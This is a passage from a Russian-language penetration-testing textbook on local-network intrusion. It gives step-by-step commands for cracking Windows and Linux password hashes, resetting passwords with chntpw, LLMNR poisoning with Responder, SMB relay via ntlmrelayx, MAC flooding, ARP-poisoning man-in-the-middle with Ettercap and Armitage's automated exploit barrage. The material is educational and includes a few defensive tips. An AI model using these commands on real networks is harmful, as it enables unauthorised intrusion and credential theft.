Глава 11 Вторжение через локальную сеть анализировать две половинки пароля по отдельности и, как правило, справляется с этим быстро. Поэтому Microsoft использовала безопасный алгоритм NTLM для создания хеша пароля. Тестировщик на проникновение все еще может столкнуться с системами, использующими хеши LM. В современных ОС это не должно происходить по умолчанию, но есть способы активировать LM и в них. Это можно использовать для обеспечения обратной совместимости со старыми системами. Если старое ПО, требующее хеши LM, все еще используется, его следует обновить или отказаться от его использования. Старые системы могут поставить под угрозу всю сеть. JtR использует словарь паролей или комбинации букв для взлома паролей (метод грубой силы). Словари паролей — это заранее составленные списки слов и буквенных комбинаций. Использование словарей паролей чрезвычайно эффективно, но если пароля нет в словаре, JtR не добьется успеха. При использовании перебора буквенных комбинаций взломщик паролей генерирует возможные пароли один за другим, пока не будут исчерпаны все возможные комбинации. Вы можете начать с угадывания однобуквенного пароля, например, «a». Если JtR не угадал его, он попробует «aa», затем «aaa» и т. д. Этот подход намного медленнее, чем использование словаря, но его преимущество в том, что пароль в конце концов будет найден. Если перебирать все символы во всех возможных комбинациях, то невозможно создать пароль, который нельзя было бы угадать. Такой подход может быть очень полезен для паролей значительной длины и сложности, однако и времени на это уходит много. Поскольку JtR интегрирован в Kali, вам не нужно находиться в определенном каталоге, и вы можете просто запустить его следующей командой: sudo john Если вы ранее сохранили извлеченный файл, например, hashes.txt, в папке / tmp/, вы можете ввести следующую команду: sudo john /tmp/hashes.txt С инструментом для взлома паролей JtR (вызывается как john) и файлом / tmp/hashes.txt указывается местоположение файла хешей, извлеченного с помощью Samdump2 (подробнее в предыдущем разделе). Если файл hashes.txt сохранен в другом месте, необходимо указать соответствующий путь. JtR довольно хорошо угадывает тип пароля, который вы хотите взломать, но в любом случае нелишним будет указать его. Для этого воспользуйтесь командой --format = formatname. Инструмент способен взломать десятки различных типов хешей паролей. За подробностями обращайтесь к документации или на сайт openwall.com 56. Как уже упоминалось, современные системы 56 236 https://www.openwall.com/john/
11.3 Взлом паролей Windows используют хеши NTLM. Если это относится и к выбранной цели, добавьте к фактической команде параметр —format=nt. Это выглядит следующим образом: sudo john /tmp/hashes.txt —format=nt Теперь JtR пытается взломать пароли, содержащиеся в файле hashes.txt. После того как инструмент нашел пароль, он отображается на экране: пароли в открытом виде с левой стороны, имена пользователей в скобках с правой. 11.3.4 Взлом паролей в Linux Чтобы взломать пароли в Linux и macOS, достаточно внести несколько небольших изменений в описанный метод. Хеш пароля хранится не в файле SAM, а в теневом файле в каталоге /etc/shadow. Только привилегированные пользователи могут получить доступ к /etc/ shadow. Если у вас достаточно прав для просмотра этого файла, вы можете просто скопировать имена пользователей и хеши, а затем попытаться расшифровать пароли с помощью Jt R. Но немногие пользователи имеют доступ к этому файлу. Есть и другой способ. Linux использует отредактированный список паролей в / etc/ passwd, который обычно может быть прочитан любым пользователем. В JtR два списка могут быть объединены, и получится список, содержащий исходные значения хеша. Затем вы можете импортировать новый список в JtR и взломать его, как в предыдущем примере. Это похоже на совместное использование системных и SAM-файлов в Windows для получения хеш-значений. Если у вас есть только один пользователь, не имеющий права читать /etc/ shadow, вы можете объединить этот список и /etc/passwd с помощью команды unshadow: unshadow /etc/passwd /etc/shadow > /tmp/hashes2.txt Результат сохраняется в каталоге /tmp в указанном файле hashes2.txt. Теперь вы можете приступить к взлому паролей Linux. Современные Linux-системы сохраняют пароли с помощью SHA 57. Вам просто нужно убедиться, что ваша версия JtR также способна взламывать SHA-хеши. Чтобы взломать пароль, запустите JtR в терминале: john /tmp/hashes2.txt JtR содержит гораздо больше опций и параметров, чтобы минимизировать затраты времени и повысить шансы на успех. Также рекомендуется потратить время на ознакомление со всеми опциями. 57 Secure Hash Algorithm. 237
Глава 11 Вторжение через локальную сеть 11.3.5 Техника разрушения — сброс паролей Есть и другие способы обойти защиту паролями, но для этого требуется физический доступ к целевому компьютеру. Хотя этот метод эффективен, он очень заметен. Опытный тестировщик на проникновение, имея доступ только к целевому компьютеру, может скопировать хеши паролей за несколько минут. Это скрытый метод, который практически невозможно обнаружить. Тестировщик почти не оставляет следов своего присутствия на компьютере. Он может вынести пароли из целевой организации и спокойно их взломать. Смена паролей — еще один способ получить доступ к системе или расширить ваши права. Однако этот метод не так тонок, как взлом. Его можно сравнить с грабителем, который вместо того, чтобы лезть в открытое окно, пробивает дыру в стене магазине, чтобы проникнуть внутрь. Это, конечно, эффективно, но владельцу магазина и сотрудникам очевидно, что был совершен взлом. При сбросе паролей злоумышленник перезаписывает файл SAM в Windows и создает новые пароли для пользователей. Они могут перезаписывать пароли, не зная оригинальных. Однако для этого им необходим физический доступ к компьютеру. Важно При использовании метода имейте в виду следующее: после изменения пароля исходный невозможно восстановить. Сравните со взрывчаткой: она очень эффективна, но разрушенная стена никогда не сможет выглядеть как прежде. После сброса пароля при следующей попытке пользователя войти в систему он обнаружит, что его пароль был изменен. Ваше действие привлекает внимание. ­ Команда chntpw используется для сброса паролей. Как обычно, вы можете просмотреть доступные опции для этой команды: chntpw -h Если вы хотите сбросить пароль администратора на целевом компьютере, выполните следующую команду: chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM Используйте chntpw, чтобы запустить инструмент для сброса паролей. Опция -i запускает программу в интерактивном режиме, так что вы можете выбрать пользователей, чьи пароли нужно сбросить. Запись /mnt/sda1/WINDOWS/ system32/config/SAM — это путь к файлу SAM на смонтированном диске. Важно убедиться, что вы ввели правильный путь: не все диски указаны как sda1. 238
11.3 Взлом паролей После выполнения команды chntpw -i /mnt/sda1/WINDOWS/system32/config/ SAM вам предложат пройти через ряд пунктов меню, чтобы сбросить пароль нужного пользователя. Эти шаги четко описаны; вам просто нужно найти время, чтобы прочитать вывод. Как это часто бывает в Linux, программа также предоставляет ответы по умолчанию, так что во многих случаях вы можете просто нажать клавишу Enter и принять значение по умолчанию. На рис. 11.4 показан первый вопрос, в котором вас спрашивают, что вы хотите сделать в первую очередь. Вы можете просто ввести цифру или букву рядом с опцией и нажать Enter. Запись [1] после вопроса означает, что выбор 1 — стандартный ответ. Рис. 11.4. Интерактивное меню chntpw Поэтому, если вы хотите сбросить пароль администратора, сначала подтвердите ввод 1 и нажмите Enter или сразу нажмите Enter, так как это стандартный ответ. После выбора опции вы увидите список пользователей, доступных на компьютере под управлением Windows. Выберите нужного пользователя, введя его имя, как показано на рисунке. Выбрав пользователя, вы увидите опции редактирования. Обратите внимание, что на этом шаге не следует выбирать вариант по умолчанию, поскольку он будет означать выход. Чтобы упростить задачу, выберите вариант 1 в этом примере, чтобы удалить пароль (Clear (blank) user password). Вы получите сообщение о том, что пароль был удален. После этого вы можете сбросить пароль другого пользователя или выйти из программы с помощью кнопки «!». Важно выполнить следующие шаги, поскольку новый файл SAM еще не записан на жесткий диск. Введите q в следующем меню, чтобы выйти из программы chntpw. После этого в сообщении появится вопрос, хотите ли вы записать изменения на жесткий диск. Обязательно введите y, так как стандартный ответ — n, и в противном случае ваша работа окажется напрасной, поскольку файл SAM еще не перезаписан новыми паролями. Пароль для выбранного пользователя теперь пуст. Теперь вы можете выключить вашу живую систему, например, Kali, введя команду reboot и извлекая загрузочный носитель. 239
Глава 11 Вторжение через локальную сеть Немного потренировавшись, вы сможете завершить весь процесс — от загрузки живой системы до удаления пароля и запуска Windows — за несколько минут. 11.4 Пароли из каталога Active Directory Active Directory — это служба каталогов Microsoft Windows Server. Она содержит пользователей, организационные единицы, телефонные номера, адреса электронной почты и другие записи. В этом разделе описывается, как можно проводить атаки на Active Directory. 11.4.1 LLMNR Poisoning/вредоносная атака LLMNR 58 — это протокол, который позволяет компьютерам Windows выполнять разрешение имен без DNS-сервера или даже без настройки DNS. Если клиент Windows ищет хост в сети и не получает ответа от DNS-сервера, или сервер отвечает, что он не знает хост, то клиент может отправить широковещательную рассылку всем в сети. В запросе спрашивается, знает ли кто либо искомый хост. ‑ Как только злоумышленник проникнет в сеть, он также получит этот запрос. Он ответит, что является этим хостом — запрос будет отравлен (англ. «poisoning»), и запрашивающий компьютер отправит свои учетные данные злоумышленнику. Однако пароли не передаются в открытом виде: злоумышленник получает только имя пользователя и хеш-значение пароля. Как может произойти так, что DNS-сервер не распознает хост? При поиске общего ресурса пользователь ошибается в написании, и DNS-сервер, естественно, не будет знать хост и отправит клиенту сообщение об ошибке. В конце концов, клиент запрашивает все устройства в сети, включая злоумышленника, который теперь получает учетные данные. В Kali Linux Responder — предустановленный инструмент, который представляет множество функций, включая LLMNR-поисковое отравление. Он запускается с помощью следующей команды: sudo responder –I eth0 -dwv Параметр -I запускает Responder на сетевом интерфейсе eth0. Параметр -w также активирует прокси-сервер WPAD-Proxy-Server. ­ ­ Responder сначала перечисляет все протоколы, на которые он может дать некорректные ответы. С помощью опции -d также активируется DHCP (протокол динамической конфигурации хоста); он используется для автоматиче58 Link-Local Multicast Name Resolution. ­ 240
11.4 Пароли из каталога Active Directory ского назначения IP-адресов устройствам в сети. Кроме того, запускаются серверные службы для отображения и ответа на любые запросы. В этом примере прокси-сервер WPAD-Proxy-Server также был активирован с помощью опции -w. Как только Responder начинает работать в сети, некоторые запросы уже могут быть отравлены во время запуска компьютеров, а некоторые имена хостов и IP-адреса распознаны. Это первая информация, которую собирает Responder. Как правило, сюда не включаются хеш-значения. ­ ­ При проведении теста на проникновение надо сначала запустить Responder и подождать. Эффективно запускать его рано утром, до начала работы целевой организации. Как правило, большинство информации поступает на Responder в начале рабочего дня и после обеденного перерыва: в это время происходит повторное подключение разрешений при входе сотрудников в систему. Как использовать хеши для взлома паролей, вы уже узнали в разделе 11.3. 241
Глава 11 Вторжение через локальную сеть Рис. 11.5. Запуск Responder 242
11.4 Пароли из каталога Active Directory 11.4.2 SMB Relay Помимо взлома пароля можно отправить полученный хеш для неправомерного использования учетных данных пользователя. С помощью хеш-значения вы можете выдать себя за соответствующего пользователя в другой службе. Таким образом, вы выступаете в роли дистрибьютора. Эта процедура также известна как ретрансляционная атака (Relay-Attack) — метод, при котором злоумышленник перехватывает и повторно использует аутентификационные данные для доступа к системе. ­ Эту атаку можно использовать для многих протоколов. Здесь мы взламываем SMB 59 — сетевой протокол для обмена файлами и принтерами в сетях Windows. Здесь есть ограничение: пользователь, чье хеш-значение было перехвачено, должен быть локальным администратором. В этой атаке важно отключить HTTP-, HTTPS- и SMB-серверы, чтобы Responder не отправлял никаких HTTP-, HTTPS- и SMB-запросов. Для этого надо отредактировать файл responder.conf, но сначала остановить Responder: sudo vim /usr/share/responder/Responder.conf Кроме того, должна быть определена цель Relay-Attack. ­ Запишите IP-адрес места назначения в текстовый файл (см. рис. 11.6). Теперь можно перезапустить Responder: используйте команду из раздела 11.4.1. Убедитесь, что деактивированные серверы теперь также отмечены как Выключенные, чтобы ответчик прослушивал входящие хеш-значения. Теперь вам остается настроить функцию ретрансляции. Например, для этой цели можно использовать ntlmrelayx. В Linux запустите инструмент с помощью следующей команды: sudo ntlmrelayx.py -tf relay_target.txt Другой сервер запущен и ожидает подключения. Если теперь клиент получает доступ к IP-адресу компьютера злоумышленника, данные доступа будут отправлены Responder. Он получает хеш имени пользователя и пароля и отправляет их в ntlmrelayx. По умолчанию ntlmrelayx извлекает данные из хранилища SAM компьютера, если атака ретрансляции SMB успешна. Вы можете преобразовать их обратно в обычный текст, как описано в разделе 11.3.1. 59 SMB (Server Message Block) — сетевой протокол для файловых, печатных и других серверных служб. Он позволяет получить доступ к файлам и каталогам, расположенным на других компьютерах. 243
Глава 11 Вторжение через локальную сеть File Action Edit View Help Insert Beginning Рис. 11.6. Редактирование файла Responder.conf 11.5 Слежка за сетевым трафиком (Sniffing) Слежка за сетевым трафиком, также называемая сетевым сниффингом, — широко распространенная техника для получения доступа к системам. При этом методе весь трафик сети перехватывается и отображается. Некоторые из часто используемых протоколов до сих пор передают конфиденциальную и важную информацию незашифрованной через сеть. Незашифрованный сетевой трафик также называется открытым текстом, так как его без проблем могут читать люди. Чтение открытых текстовых данных — простая, но эффективная мера для получения доступа к системе. Ваша цель — проследить весь трафик, проходящий через устройство, чтобы выявить дополнительные цели и также перехватить открытые текстовые пароли. Для сниффинга важны некоторые основы сетевой техники. Здесь прежде всего следует отметить разницу между режимами прослушивания (Promiscuous Mode) и непрослушивания (Non-Promiscuous Mode). ­ Сетевые карты обычно работают в режиме непрослушивания. В этом случае процессору для обработки передается только тот трафик данных, который направлен на сетевую карту. Если он получает трафик данных, не предназначенный 244
11.5 Слежка за сетевым трафиком (Sniffing) для его адреса, он просто отбрасывает пакеты. Сетевую карту в режиме непрослушивания можно сравнить с контролером в кинотеатре, который не допускает в зал людей без билетов. В режиме прослушивания сетевая карта вынуждена принимать все входящие пакеты. Весь сетевой трафик направляется на обработку в центральный процессор, независимо от того, предназначался он для системы или нет. 11.5.1 Как можно перехватить сетевой трафик? Поскольку по умолчанию сетевая карта работает в режиме непрослушивания, вы должны изменить его, чтобы прослушивать сетевой трафик, не предназначенный для вашего ПК. В режиме прослушивания ваш ПК будет принимать весь трафик данных. Сетевой трафик может попасть на устройство, для которого он не предназначен, разными способами. Во время трансляции все пакеты данных обычно отправляются на все устройства, подключенные к сети. Но даже если вы используете концентратор вместо коммутатора для пересылки трафика, полученный концентратором трафик отправляется на все физически подключенные к нему устройства. В сетях с концентратором сетевая карта постоянно игнорирует пакеты, которые на нее не направлены. В качестве примера рассмотрим концентратор с восемью портами, к которому подключены восемь компьютеров. Если один ПК хочет отправить сообщение другому, оно отправляется на все компьютеры, подключенные к концентратору. Если компьютеры работают в режиме прослушивания, сообщение игнорируют те ПК, для которых оно не предназначено. В отличие от концентраторов, коммутаторы более целенаправленные. С помощью коммутатора MAC-адрес регистрируется при подключении к нему устройства. На основе этой информации коммутатор пересылает трафик для рассматриваемого компьютера через соответствующий порт. Если компьютер отправляет сообщение на другой компьютер, коммутатор просматривает таблицу MAC-адресов и номеров портов и отправляет сообщение только на порт, к которому подключен компьютер-получатель. Устройства, подключенные к другим портам, не получают трафик данных. ­ Эта целевая функция перенаправления на самом деле предназначена для повышения производительности, а не в качестве меры безопасности. Повышение безопасности было побочным эффектом, а не целью. Не нужно заменять все концентраторы на коммутаторы, если вы хотите повысить безопасность. Но есть инструменты, которые помогут заставить коммутатор маршрутизировать весь трафик через все порты, чтобы он вел себя как концентратор. 245
Глава 11 Вторжение через локальную сеть Коммутаторы обычно имеют ограниченный буфер памяти для таблицы MACадресов и соответствующих портов. Когда таблица переполняется поддельными MAC-адресами и память исчерпана, коммутатор больше не может считывать действительные записи в таблице. Он не может определить правильный порт для данного адреса, поэтому отправляет весь трафик на все порты. Это поведение называется «Fail Open». Это означает, что коммутатор переходит в режим концентратора (открытый режим), поскольку больше не может направлять трафик должным образом и целенаправленно. Обратите внимание, что коммутаторы также могут быть сконфигурированы по принципу «отказ по умолчанию» и вести себя совершенно противоположным образом. Вместо отправки данных на все порты они просто отключают функцию переадресации. Однако хакеры могут использовать и эту конфигурацию. Если им удастся заставить коммутатор прекратить переадресацию данных, они остановят трафик в сети и вызовут перерыв в работе, как при атаке типа «отказ в обслуживании». 11.5.2 dsniff — коллекция инструментов для шпионажа за сетевым трафиком С помощью dsniff, который входит во многие хакерские системы Linux, вы получаете набор инструментов для анализа паролей и сетевого трафика. Инструмент был разработан исследователем безопасности Дагом Сонгом (Dug Song) для анализа различных протоколов приложений и фильтрации соответствующей информации. Это один из инструментов, который входил в стандартную установку предыдущих версий Kali Linux, но теперь при необходимости его необходимо переустановить из репозитория: sudo apt install dsniff Следующие инструменты можно использовать для пассивного мониторинга сети на предмет интересных данных (пароли, электронная почта, файлы и т. д.): ◾ ◾ ◾ ◾ ◾ ◾ dsniff; filesnarf; mailsnarf; msgsnarf; urlsnarf; webspy. Кроме того, коллекция содержит инструменты для перехвата сетевого трафика, который недоступен злоумышленнику (например, из-за коммутации второго уровня), например: 246
11.5 Слежка за сетевым трафиком (Sniffing) ◾ arpspoof; ◾ dnsspoof; ◾ macof. Коллекция также включает инструменты для проведения атак типа «человек посередине» на перенаправленные сеансы SSH и HTTPS: ◾ sshmitm; ◾ webmitm. Приложения собирают имена пользователей и пароли от посещенных вебсайтов и содержимого электронной почты. Как следует из названия dsniff, это сетевой сниффер, который также позволяет нарушать нормальное поведение коммутируемых сетей и делать сетевой трафик видимым даже для хоста, который не участвует в трафике данных. dsniff — это не только название коллекции инструментов, но и инструмент для декодирования паролей, отправляемых в текстовом виде по сети Ethernet. В руководстве к этому инструменту Сонг объясняет, что dsniff был разработан с искренними намерениями проверить сеть и продемонстрировать неопределенность сетевых протоколов, передаваемых простым текстом. Он добавил следующее обращение: «Пожалуйста, не злоупотребляйте этим программным обеспечением!» 11.5.3 macof — превращение коммутатора в концентратор macof входит в набор инструментов dsniff, который позволяет перегружать коммутатор в локальной сети MAC-адресами. Как уже упоминалось, коммутатор управляет потоком данных между портами. Он активно отслеживает кэшированные MAC-адреса на каждом порту, поэтому данные фактически передаются только в нужное место назначения. Если в сети используется пассивный концентратор, сопоставления нет, и данные отправляются на каждый порт устройства. Они отклоняются сетевыми картами, если только не предназначались для них. Сеть с хабами — мечта хакеров, ведь когда сетевая карта переходит в режим прослушивания, следить за данными гораздо проще. Таким образом, атакующий компьютер может легко собирать данные, передаваемые по сети. Однако в большинстве сетей используются коммутаторы. macof может загрузить коммутатор случайными MAC-адресами: это называется MAC-Flooding (наводнение). Это заполняет CAM-таблицу коммутатора, и новые MAC-адреса не могут быть сохранены, поэтому он отправляет все пакеты на все порты, действуя как концентратор. Вы можете отслеживать весь трафик, проходящий через коммутатор. Как это часто бывает, вам следует потратить время на чтение справки по команде, поскольку она имеет множество опций. Например: macof -i Interface -d Target-IP-Address -n Number ­ 247
Глава 11 Вторжение через локальную сеть Чтобы заполнить коммутатор MAC-адресами, введите в терминале, например, следующую команду: macof -i eth1 -n 20 Используйте параметр -i, чтобы указать интерфейс, на который будут отправляться пакеты. Используйте параметр -n, чтобы указать количество отправляемых пакетов. Если вы хотите выбрать конкретный коммутатор для рассылки MAC-адресов, вы должны также указать IP-адрес цели с помощью опции -d: macof -i eth -d 192.168.1.10 -n 20 При тестировании на проникновение macof может быть очень полезен для сниффинга, но некоторые коммутаторы не позволяют подделывать пакеты ARP (Address Resolution Protocol). В этом случае вы можете использовать инструмент для проверки, не перегружен ли переключатель. Некоторые коммутаторы обычно ведут себя как концентраторы и передают все исходные пакеты всем адресатам. Это упрощает слежку. При некоторых вариантах переключатели имеют тенденцию к сбою и перезапуску. Это означает, что с помощью этого инструмента также можно провести своеобразный стресс-тест уровня 2. Однако имейте в виду, что macof генерирует огромное количество трафика, поэтому его легко обнаружить. Поэтому использовать этот прием следует крайне осознанно и только тогда, когда маскировка не важна. Совет Защититься от МАС-Flooding можно следующим образом: ■ Безопасность портов: ограничивает количество МАС-адресов, связанных с одним портом коммутатора. ■ Внедрение 802.1.Х: включает правила фильтрации пакетов, выдаваемые центральным сервером ААА на основе динамического обслуживания клиентов. ■ Фильтрация МАС: в определенной степени ограничивает количество МАС-адресов. 248
11.5 Слежка за сетевым трафиком (Sniffing) 11.5.4 WireShark — акула в море данных Wireshark 60 — один из самых простых и в то же время мощных инструментов для сниффинга. Это анализатор сетевых протоколов, который можно использовать для легкого перехвата и просмотра трафика данных в сети. Applications File Edit Locations f View Navigation Capture Analize Statistics Telephony Wireless Tools Help Recording Go to the last package Apply display filter Рис. 11.7. Запись трафика данных с помощью Wireshark Wireshark уже включен в состав Kali, и доступ к нему можно получить через Applications|Sniffing & Spoo-Fing. Его также можно открыть в окне терминала: ­ wireshark Прежде чем запускать Wireshark, необходимо активировать и настроить хотя бы один сетевой интерфейс в Kali. При первом запуске Wireshark в Kali вы получите предупреждение о том, что запуск Wireshark от имени пользователя root может быть опасен. Подтвердите предупреждение нажатием кнопки OK. Затем необходимо выбрать сетевой интерфейс и настроить его так, чтобы записывался весь доступный трафик данных. Для этого щелкните на значке под строкой меню, который выглядит как круг с шестеренкой. При нажатии на кнопку «Управление интерфейсами…» открывается новое окно. Здесь вы можете выбрать подходящий интерфейс. Чтобы упростить процесс записи, просто нажмите «Старт». Если вы хотите настроить параметры, нажмите вкладку «Oпции». Поскольку мы сосредоточились только на основах, оставьте настройки по умолчанию здесь и нажмите «Старт». Теперь окно ввода быстро заполнится. Пока вы запускаете захват, пакеты пересылаются на компьютер. Лучше не читать эту информацию во время работы: в Wireshark результаты можно сохранить и изучить позже. 60 Wireshark можно бесплатно скачать по адресу: https://www.wireshark.org/. Он доступен для Windows, Linux и macOS. 249
Глава 11 Вторжение через локальную сеть Capture Options Input Interface Output Options Traffic Promis Snaplen Enable promiscuous mode on all interfaces Capture filter for selected interfaces: Buffer Manage Interfaces Enter a capture filter Help Compile BPFs Close Рис. 11.8. Окно выбора интерфейсов Вы можете остановить запись трафика, нажав на красный квадрат, и затем сохранить запись в разделе «Файл|Сохранить» для последующего просмотра. Список записанного трафика обычно относительно длинный, поэтому читать все строки одну за другой утомительно. Также возможен поиск определенных пакетов данных. Есть два разных типа фильтров: ◾ Фильтр отображения: здесь вы отфильтровываете записанный трафик данных на предмет интересных пакетов. ◾ Фильтр захвата записывает только тот трафик данных, который соответствует заданным критериям. Остальной трафик игнорируется. Для специалистов по тестированию на проникновение более разумно записывать весь трафик данных и только потом фильтровать его. С помощью Wireshark вы можете фильтровать по многим критериям: IP-адрес получателя и/или отправителя, протоколы (ICMP, ARP, FTP, TCP, UDP и т. д.). ip.addr == 192.168.78.20 ip.src == 192.168.78.20 ip.dst == 192.168.78.20 icmp arp … Используйте ip.addr для фильтрации всех пакетов, отправленных с указанного IP-адреса или на него, ip.src — для фильтрации пакетов, пришедших с указанного IP-адреса, и ip.dst — для фильтрации пакетов, отправленных на указанный IP. ICMP и ARP используются для фильтрации в соответствии с пакетами соответствующих протоколов. 250
11.5 Слежка за сетевым трафиком (Sniffing) 11.5.5 Ettercap — перехват и манипулирование трафиком данных Как тестировщик на проникновение, вы наверняка будете использовать множество инструментов во время тестирования. Важная часть процесса — атаки по принципу Man-in-the-Middle («человек посередине») и «сниффинг сети». Один из инструментов, который подходит для этого, — Ettercap. Есть версии с командной строкой и с графическим пользовательским интерфейсом. ­ Инструмент используется для перенаправления сетевого трафика на хосткомпьютер и мониторинга трафика во время процесса. В этом отношении он похож на уже упомянутый dsniff: он перехватывает трафик и ищет в сообщениях характерные типы учетных данных для определения типов протоколов (например, пароли электронной почты). Он также включает функции фильтрации или изменения трафика. Ettercap — это инструмент для автоматизации различных этапов атаки «человек посередине». Конечно, вы также можете использовать разные инструменты, но для этого требуется несколько окон и переключение между запускаемыми скриптами. Ettercap (рис. 11.9) позволяет автоматически выполнять эти сложные и многоуровневые атаки. В Ettercap также доступен графический интерфейс, который, однако, лишает вас значительной части функций управления. Прежде чем определить интерфейс, с помощью которого предполагается прослушивание, вы должны посмотреть, какие интерфейсы доступны на вашем устройстве: ettercap -I Рис. 11.9. Вывод доступных интерфейсов в Ettercap Теперь вы можете использовать параметр -i для выбора интерфейса. В данном случае это eth0. Вы можете провести сниффинг-атаку в режиме «только текст». Для этого достаточно указать интерфейс, на котором вы хотите «прослушать», и файл, на который вы хотите записывать (pcap-файл). ­ ettercap -T -i etho 0 output.pcap 251
Глава 11 Вторжение через локальную сеть Вы можете взаимодействовать с Ettercap и с помощью текстового меню: ettercap -T -i etho Обратите внимание, что при запуске инструмента не будет выполнена атака «человек посередине», и у вас не будет возможности ее провести. Сначала вы должны убедиться, что можете видеть трафик, который хотите «прослушивать». Если в сети используется концентратор, вам не нужно ничего делать для получения трафика. Если в сети используется коммутатор, порты видят только трафик, предназначенный для устройства на этом порту. Чтобы считывать весь трафик данных, необходимо предпринять дополнительные шаги, например, с помощью macof. Для атаки «человек посередине» вы должны находиться в той же сети, что и целевой объект, то есть быть подключенным к тому маршрутизатору. Графический интерфейс рекомендуется запустить на этом этапе: ettercap -G В графическом интерфейсе вы можете выбрать один из двух различных режимов прослушивания: ◾ Унифицированный сниффинг: весь процесс сниффинга осуществляется через одно сетевое устройство. ◾ Мостовой сниффинг: злоумышленник имеет несколько сетевых устройств и осуществляет сниффинг, когда трафик данных пересекает мост от одного устройства к другому. После того как нам будет доступен только один компьютер, как в этом примере, мы будем использовать унифицированный сниффинг (Sniff|Unified Sniffing). После того как вы определились с методом слежки, необходимо выбрать пункт назначения. Вы можете быстро сканировать различные хосты, участвующие в сетевом трафике. В разделе «Хосты|Новые хосты» их можно быстро сканировать (Ctrl + S или «Хосты|Сканировать хосты»). Проводится быстрое сканирование и выводится список мест назначения хоста. Если вы не видите список, перейдите в Hosts|Hosts List. Теперь вы можете искать свою цель в списке и нажимать на нее. Если вы хотите атаковать не конкретную цель, а каждое устройство в сети, не выбирайте элемент из списка. После того как вы определили цель, вы можете запустить атаку «человек посередине». Например, выберите Mitm|Arp-Poisoning. Вы получите сообщение, что начинается штрафная атака ARP. Когда в строке отображается интересная информация, Ettercap извлекает и выводит ее на случай, если вы не захватите ее или не найдете с помощью Wireshark. ­ Если вы посмотрите на трафик данных в Wireshark, то заметите множество черных выделений. Это потому, что ваш компьютер дублирует каждый полу- 252
11.6 Armitage — взлом с помощью «пулемета» ченный пакет, пересылая его. Это отличительная черта атаки «человек посередине», которая включает в себя подмену ARP. 11.6 Armitage — взлом с помощью «пулемета» Armitage — это графический интерфейс, построенный на Metasploit. Ранее я описывал Metasploit как снайперскую винтовку, которую можно использовать против уязвимых и незащищенных систем. Хотя Armitage полагается на Metasploit, это не обязывает тестировщика искать уязвимости и соответствующие эксплойты. С Armitage весь процесс может быть автоматизирован. С функцией Armitage Hail Mary 61 тестировщику нужно только ввести IP-адрес цели и нажать на несколько кнопок. В этой функции нет ничего сложного или скрытного. Инструмент выполняет сканирование портов цели, а затем атакует ее любым эксплойтом, который кажется подходящим на основе результатов сканирования. Инструмент работает до тех пор, пока не будут опробованы все значимые эксплойты. При атаке слабых целей это может привести к множественному доступу к оболочке. Armitage можно найти в меню Kali Applications| Exploitation-Tools. Когда вы запустите его, появится диалоговое окно Connect (Подключение) на рисунке 11.10, и вы можете просто нажать Connect. ­ Рис. 11.10. Начало работы Armitage Затем появится диалоговое окно с вопросом, хотите ли вы запустить Metasploit. Здесь вы выбираете стандартный ответ Yes. Появится следующее диалоговое окно Java.Net.Connectionexception: Connection Refused («Соединение отклонено»). Теперь просто подождите, пока Armitage и Metasploit все настроят. Затем на экране появится графический интерфейс пользователя (рис. 11.11). 61 В американском футболе есть отчаянный маневр, известный как «пас Аве Мария», потому что поможет только молитва. 253
Глава 11 Вторжение через локальную сеть Рис. 11.11. Начальный экран Armitage Главный экран Armitage разделен на две части. Верхняя половина состоит из графического интерфейса пользователя для взаимодействия с Metasploit, а нижняя половина обеспечивает доступ к командной строке (то есть терминал вместо графического интерфейса) для отдельных вариантов взаимодействия. Чтобы взаимодействовать с целью, используйте обе области. Если вы предпримете действия в верхней половине Armitage, они откроются в соответствующих вкладках ниже. Для работы в нижней половине нажмите на нужную вкладку и введите команды в отображаемом терминале. Если все прочие методы окажутся безрезультатными, вы всегда можете применить «пулемет». Для этого отлично подойдет функция Hail Mary. Но прежде чем засыпать систему цели эксплойтами, надо выполнить предварительную работу — отсканировать локальную сеть и обнаружить активные цели. Для этого щелкните опцию Hosts в меню и выберите Quick Scan (OS Detect) — см. рисунок 11.12. 254
11.6 Armitage — взлом с помощью «пулемета» Рис. 11.12. Сканирование Nmap с помощью Armitage для обнаружения целей После этого необходимо ввести допустимый диапазон IP-адресов или IPадрес для сканирования. По завершении сканирования обнаруженные цели будут отображены в рабочей области на экране. На рисунке 11.13 показано, что сканирование обнаружило возможные цели. Сообщение укажет вам, что вы можете найти подходящие эксплойты в разделе Attacks|Find Attacks. Если Armitage обнаружил хотя бы одну потенциальную цель, вы можете запустить на нее шквал эксплойтов, перейдя в Attacks|Hail Mary. Теперь инструмент автоматически выдает команды и выполняет их. Этот процесс определенно займет несколько минут. Вы можете наблюдать за активностью инструмента в нижней половине окна. Armitage также отображает индикатор выполнения, показывающий, как далеко продвинулся процесс. Armitage сравнивает результаты Nmap с эксплойтами в Metasploit и отправляет целевому пользователю соответствующие эксплойты. Обратите внимание, как целевой компьютер выглядит в графическом интерфейсе пользователя Armitage. Если целевой компьютер окружен вспышками красного света, значит, Armitage удалось проникнуть в цель. 255
Глава 11 Вторжение через локальную сеть Notification Рис. 11.13. Armitage распознал потенциальные цели После того как Armitage расстреляет весь свой запас эксплойтов, вы сможете просмотреть полученные оболочки доступа, щелкнув правой кнопкой мыши на изображении целевого компьютера. Теперь у вас есть возможность напрямую работать с целью и загружать программы или другие материалы, а также проводить различные другие атаки. Чтобы инициализировать доступ к оболочке, щелкните на опции Interact. В нижнем окне терминала Armitage вы можете вводить команды, которые могут быть выполнены на целевом компьютере. Атакой на цель вы завершили фазу вторжения! Примечание В этом разделе я описал Hail-Mary-атаку в Armitage, но есть и много других функций. Не торопитесь знакомиться с полным их набором. ­ 11.7 Как вы можете отработать этот шаг? Практика тестирования на проникновение — одна из самых сложных, утомительных и трудоемких задач, но в то же время это самый полезный опыт, который могут получить начинающие хакеры. Если вы так и не добились успеха в достижении цели, вас ждет приятный сюрприз. Опыт получения административного доступа к другому компьютеру уникален. 256
